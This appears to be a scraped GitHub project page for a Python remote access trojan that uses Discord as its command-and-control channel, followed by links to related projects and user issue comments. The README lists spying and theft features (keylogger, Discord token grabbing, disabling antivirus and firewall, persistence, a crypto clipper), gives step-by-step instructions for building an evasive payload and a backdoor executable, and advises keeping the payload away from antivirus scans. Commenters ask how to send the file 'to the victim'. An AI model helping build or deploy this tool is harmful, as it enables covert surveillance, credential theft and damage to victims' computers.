Remote Access Tool (rat) built in python made for Educational purposes only, discord is used as the CNC

Overview


Logo

Cookies Remote Access Trojan

Very reliable remote access trojan
All Commands »

Report Bug · Request Feature · Send a Pull Request


🌐 〢 Content

🎯 〢 About

Builder has just been fixed any bugs make sure to create a issue if you find one.

Do not scan the compiled payload with any anti-virus otherwise, it will become detected and rendered useless!

Remote Access Tool (rat) built in python made for Educational purposes only, discord is utilized as the CNC
All client file packages and modules are imported directly in Python interpreter's process memory (giving it such a low detection rate)

〢 Features

✔️ Create payload
✔️ Create keylogger add on
✔️ Create data grabber add on
Set auto commands
Create custom payload

⚙️ 〢 Commands

> Anti-Debug
> Record Mic Audio for 10s
> Webcam Image / StreamImages
> All Monitors Screenshot Image / StreamImages
> Replace Old Payload With Updated Version
> Clean Easy To Read Keylogger
> Geolocate
> Bluescreen PC If RAT Is Stopped (critproc)
> Grab Discord Tokens
> Kill All Inactive Sessions
> Check If RAT Has Administration Perms
> Block Mouse & Keyboard Input
> Bluescreen PC
> Grab Clipboard History
> Delete Files
> Disable Anti-Virus
> Disable Firewall
> Disable Task Manager
> Turn All Monitors Off
> Download Files
> Force Administration Perm
> Get Idle Time
> Grab PC Info
> List Running Proccesses
> Log Off User
> Shutdown PC
> Restart PC
> Set Volume To 100%
> Set Volume To 0%
> Send Custom Error Message
> Scan IP For Open Ports
> Set Persistence For The RAT
> Remove All Traces Of The RAT (self destruct)
> Execute Shell Commands
> Start File
> Add RAT To Startup
> Force Stop Running Tasks
> Show Current Open Window
> Write Message
> Open Website

〢 Requirements

Before starting 🏁 , you are required to have Python 3.9.7 installed and added to path.

📁 〢 Getting Started

Installation

Follow this guide to setup/create a discord bot

Below is how to setup and create a payload.

  1. Fork the repository, make sure to keep the repository name the same.

(If you do not fork the repository, you will not be able to create a low detectable payload since the remote import will fail.)

  1. Replace GITHUB_USERNAME_HERE with your GitHub username in payload.py
Github_username = "GITHUB_USERNAME_HERE"
  1. Replace DISCORD_TOKEN_HERE with your Discord Bot Token in payload.py
rat.token_set("DISCORD_TOKEN_HERE")
  1. Replace DISCORD_WEBHOOK_URL with your Webhook URL & replace DISCORD_SERVER_ID with your discord server id rat.py
api = 'DISCORD_WEBHOOK_URL'
server_id = "DISCORD_SERVER_ID"
  1. Run create_payload.py

  2. Wait for the payload to be created

Optional

Below is how to create a simple backdoor for the rat

  1. Download or clone the repository

  2. Enter your Discord Webhook URL in backdoor.py

api = 'DISCORD_WEBHOOK_URL'
  1. Replace "DOWNLOAD_URL_HERE" with the download URL of the payload
r = requests.get("DOWNLOAD_URL_HERE", allow_redirects=False)
  1. Cd to the directory of the backdoor.py

  2. Run pyinstaller --onefile --noconsole --uac-admin --clean --log-level=INFO backdoor.py

  3. After the program is compiled, you can find the created executable in the directory dist

Any problems? Create an issue!

📌 〢 Todo/Enhancements

  • Fix builder
  • Clean builder GUI
  • Remote import all commands for less detections
  • Create backdoor
  • Add this sound as a command
  • Be able to customize payload when creating it
  • Add delete all saved passwords & cookies
  • Add break PC (delete system32)
  • Add worm function
  • Create backdoor with only shell (make whole payload remote imported)

💭 〢 Change Log

v5.0.5 ⋮ 2022-08-04
+ added backdoor as default (rat gets copied into system32)
+ updated create_payload.py (be able to set inputs)

v5.0.4 ⋮ 2022-07-24
+ fixed some minor errors
+ added defualt for keylogger intervals

v5.0.3 ⋮ 2022-07-18
+ fixed major little error

v5.0.2 ⋮ 2022-07-16
+ fixed module bugs (hope it works now)
+ client is ran via remote import now
- moved create payload from builder to separate file

v5.0.1 ⋮ 2022-07-16.
+ fixed builder

v5.0.0 ⋮ 2022-07-16
+ project made opensource and released to github

v4.1.0 ⋮ 2022-07-04
+ fixed create keylogger & data grabber being broken
+ added info.txt (way to save info when creating payloads)
+ cleaned up main.py
+ fixed selfdestruct command not working becuase of empty embed
+ added crypto clipper
+ added upload file
+ fixed open port scanner

v2.0.0 ⋮ 2022-07-02
+ cleaned code
+ added my own personal package for easier usage
- removed create custom payload for testing
- removed shitty bugs

🛠️ 〢 Custom Commands

  • If your wondering how to add your own commands to the rat here is an example of how to do it.
    • make sure to add the try except block to the command function to stop all rat crashes
@slash.slash(name="COMMAND_NAME", description="COMMAND_DESCRIPTION", guild_ids=g)
async def COMMAND_NAME_command(ctx: SlashContext):
    if ctx.channel.name == channel_name:
        try:
            func()
            my_embed = discord.Embed(title=f"Command executed", color=0x00FF00)
            await ctx.send(embed=my_embed)
        except Exception as e:
            my_embed = discord.Embed(title=f"Error occured!\n\n{e}", color=0xFF0000)
            await ctx.send(embed=my_embed)
  • Also here are some embed "templates" + colors
0x00FF00 - Green
0xFF0000 - Red
0x3A3636 - Gray

except Exception as e:
    my_embed = discord.Embed(title=f"Error occured!\n\n{e}", color=0xFF0000)
    await ctx.send(embed=my_embed)

my_embed = discord.Embed(title=f"Admin privileges required", color=0xFF0000)
await ctx.send(embed=my_embed)

my_embed = discord.Embed(title=f"Command executed", color=0x00FF00)
await ctx.send(embed=my_embed)

👤 〢 Author

👤 CookiesKush420

👤 6nz

  • Credits to @6nz for the anti debug since it does slap.

🤝 〢 Contributing

Contributions, issues and feature requests are welcome!
Feel free to check issues page.

🌟 〢 Show your support

Give a ⭐️ if this project helped you!

📝 〢 License

Copyright © 2022 CookiesKush420.
This project is MIT licensed.

You might also like...

A tool for building remote access trojan.

EyeRat 🐁 Options : Voice recording 🎤 Take photos 📷 Live stream from camera 👀 Take screenshot 🖼️ File explorer 📁 CLI remote command shell 🚀 Make

Sep 21, 2022

Back2Shell - remote access tool.

Back2Shell - remote access tool.

back2shell Back2Shell - remote access tool. This program is designed to control a PC via Telegram. Functions: Full list of current features Modules No

Apr 17, 2022

Meet the new brand new Discord music bot, Sounderwin! Made only with Python. Was upgraded 5 times to make it more optimal and usable in Discord servers.

Meet the Sounderwin | a Brand new Discord Music Bot ------------------------------------------- Meet the new brand new Discord music bot, Sounderwin!

Sep 5, 2022

Meet the new brand new Discord music bot, Sounderwin! Made only with Python. Was upgraded 5 times to make it more optimal and usable in Discord servers.

Meet the Sounderwin | a Brand new Discord Music Bot ------------------------------------------- Meet the new brand new Discord music bot, Sounderwin!

Sep 5, 2022

Reimplementation of Relation-Aware Transformer for Portfolio Policy Learning (RAT) (IJCAI 2020)

Reimplementation of Relation-Aware Transformer for Portfolio Policy Learning (RAT) (IJCAI 2020)

Reimplementation of RAT Levon 2022.04.29 reimplementation of Relation-Aware Transformer for Portfolio Policy Learning (RAT) (IJCAI 2020) for the portf

May 3, 2022

The best hidden Rat/Crypo Miner for Linux/Mac/Windows

The best hidden Rat/Crypo Miner for Linux/Mac/Windows

Veerus The Best Multifunctional Computer Virus Including : RAT, Stealer, XMR Miner, Token Grabber, DM ALL.... Video tutorial https://www.youtube.com/w

Sep 25, 2022

WalletHunter is a python program that hunt wallets using bitcoinlist.io (eductional purposes only)

WalletHunter is a python program that hunt wallets using bitcoinlist.io (eductional purposes only)

⠀ ⠀ ⠀ ⠀ ⠀ ⠀ ⠀ ⠀ ⠀ ⠀ ⠀ WalletHunter is a program that hunts down Wallets and searching for bitcoin WalletHunter FAQ: • How does WalletHunter get wallet

Jul 16, 2022

A discord bot for winterpixel games discord made by the community (This bot is not officially made by Winterpixel)

Winterpixel-Community-Bot A discord bot for winterpixel games discord made by the community (This bot is not officially made by Winterpixel) Requireme

Jul 25, 2022

This is an AI based project which specifically on Computer Vision domain. This used for security purposes. This uses Computer Vision that is Camera

AI_Security This is an AI based project which specifically on Computer Vision domain. This Repository contains program which detects faces from its da

Jun 12, 2022
Comments
  • How to create exe file to send to the victim

    How to create exe file to send to the victim

    I cant make the file too send too the target, i need help making the file too send i edited everything. I just cant make the file i dont understand how if anyone could help would be awsome

    question 
    opened by Alansian 3
  • Need Help with builder

    Need Help with builder

    Hey, basically i need help with builder, i have python 3.9.7 installed and added as a path. I installed the requirements using pip install -r requirements.txt. Then I run setup and when i run the builder it instantly closes

    bug 
    opened by TerranBen666 3
Owner
CookiesKush420
Software Developer / Programmer 17
CookiesKush420
Highly reliable ransomware created in 100% python, fore Educational Purposes Only

Cookies Ransomware Highly reliable, ransomware All Commands » Report Bug · Request Feature · Send a Pull Request ?? 〢 Content ?? ・About ✅ ・Requirement

Cookies Services 1 Sep 22, 2022
Highly reliable botnet created in 100% python for Educational Purposes Only

ISO Highly reliable, botnet All Commands » Report Bug · Request Feature · Send a Pull Request ?? 〢 Content ?? ・About ⚙️ ・Commands ✅ ・Requirements ?? ・

Cookies Services 1 Sep 22, 2022
Highly reliable botnet created in 100% python for Educational Purposes Only

ISO Highly reliable, botnet All Commands » Report Bug · Request Feature · Send a Pull Request ?? 〢 Content ?? ・About ⚙️ ・Commands ✅ ・Requirements ?? ・

Cookies Services 2 Sep 25, 2022
For educational purposes only, the contributors are not responsible for any damage caused by this project.

Veno Easy to use information gathering bot Maintained by NixonXC Requirements python-whois py-cord aiohttp Commands Slash Commands and Prefix Commands

null 5 Aug 7, 2022
Test&Track bot, FOR EDUCATIONAL PURPOSES ONLY

JakeT23's Test And Track Bot! Educational Purposes Only! Try it Online! work in progress. How to run the proof-of-concept python version: Dependencies

JakeT23 1 Sep 18, 2022
Lucifer is a RAT (Remote Administrator Trojan) Generator for Windows/Linux systems written in Python.

Lucifer Lucifer is a RAT (Remote Administrator Trojan) Generator for Windows/Linux systems written in Python 3. This small python script can do really

Kushagra Ojha 9 Sep 27, 2022
ZarrDAP is a FastAPI project that provides access to Zarr and NetCDF data in remote object storage using the Open-source Project for a Network Data Access Protocol (OPeNDAP).

ZarrDAP OPeNDAP for Zarr! ZarrDAP is a FastAPI project that provides access to Zarr and NetCDF data in remote object storage using the Open-source Pro

null 21 Sep 20, 2022
PIPWare 🐍 Malicious Python (PyPi) Package for educational purposes

pipware ?? Using PyPi packages, you can run anything on a victims machine without interacting with them, just by having them run one of these packages

doop 3 Aug 22, 2022
What if europa lang was made in python? (For entertainment purposes only)

Europy What would happen if Europa lang was finished? This is NOT a replacement for Europa, nor is it a rewrite. This is just for entertainment purpos

Junhao 2 Jul 8, 2022
TryHackMe bot for maintaining your streak (educational purpose only).

THMBot (For Educational Purpose Only) TryHackMe bot for maintaining your streak THMBot is a Selenium powered Python tool, that automates the process o

null 4 Sep 6, 2022